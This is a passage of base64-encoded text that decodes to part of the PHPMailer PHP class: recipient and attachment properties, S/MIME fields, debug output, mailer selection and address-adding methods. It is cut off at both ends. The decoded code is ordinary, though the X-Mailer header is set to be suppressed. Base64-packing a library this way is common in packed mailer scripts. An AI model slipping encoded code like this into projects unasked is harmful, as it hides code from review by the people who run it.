ogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWU